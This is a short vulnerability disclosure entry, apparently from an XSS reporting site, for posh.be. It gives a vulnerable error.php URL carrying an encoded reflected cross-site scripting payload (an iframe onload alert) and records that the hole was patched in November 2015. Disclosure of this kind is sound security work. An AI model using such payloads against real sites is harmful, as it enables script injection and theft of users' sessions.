posh.be XSS vulnerability

Vulnerable URL: http://www.posh.be/site/error.php?url=http%3A%2F%2Fwww.posh.be%2F=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 18.11.2015 Latest check for patch:| 18.11.2015 08:04 GMT Vulnerability type:| XSS...